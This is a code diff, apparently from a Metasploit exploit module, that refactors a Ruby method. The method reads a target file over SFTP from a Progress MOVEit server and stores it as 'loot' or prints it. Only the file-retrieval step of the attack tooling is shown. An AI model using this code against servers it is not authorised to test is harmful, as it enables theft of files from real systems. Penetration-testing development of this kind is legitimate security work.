@@ -161,35 +161,35 @@ def run
161
161
162
162
def read_file ( sftp , file_path )
163
163
sftp . open! ( file_path ) do |open_response |
164
- if open_response . ok?
165
- file_size = sftp . fstat! ( open_response [ :handle ] ) . size
166
-
167
- sftp . read! ( open_response [ :handle ] , 0 , file_size ) do |read_response |
168
- if read_response . ok?
169
-
170
- file_data = read_response [ :data ] . to_s
171
-
172
- if datastore [ 'STORE_LOOT' ]
173
- print_status ( 'Storing the file data to loot...' )
174
-
175
- store_loot (
176
- file_path ,
177
- file_data . ascii_only? ? 'text/plain' : 'application/octet-stream' ,
178
- datastore [ 'RHOST' ] ,
179
- file_data ,
180
- datastore [ 'TARGETFILE' ] ,
181
- 'File read from Progress MOVEit SFTP server'
182
- )
183
- else
184
- print_line ( file_data )
185
- end
186
-
187
- else
188
- print_error ( 'SFTP read failed.' )
189
- end
190
- end
191
- else
164
+ unless open_response . ok?
192
165
print_error ( 'SFTP open failed. Is the TARGETFILE path correct?' )
166
+ break
167
+ end
168
+
169
+ file_size = sftp . fstat! ( open_response [ :handle ] ) . size
170
+
171
+ sftp . read! ( open_response [ :handle ] , 0 , file_size ) do |read_response |
172
+ unless read_response . ok?
173
+ print_error ( 'SFTP read failed.' )
174
+ break
175
+ end
176
+
177
+ file_data = read_response [ :data ] . to_s
178
+
179
+ if datastore [ 'STORE_LOOT' ]
180
+ print_status ( 'Storing the file data to loot...' )
181
+
182
+ store_loot (
183
+ file_path ,
184
+ file_data . ascii_only? ? 'text/plain' : 'application/octet-stream' ,
185
+ datastore [ 'RHOST' ] ,
186
+ file_data ,
187
+ datastore [ 'TARGETFILE' ] ,
188
+ 'File read from Progress MOVEit SFTP server'
189
+ )
190
+ else
191
+ print_line ( file_data )
192
+ end
193
193
end
194
194
ensure
195
195
sftp . close! ( open_response [ :handle ] ) if open_response . ok?
0 commit comments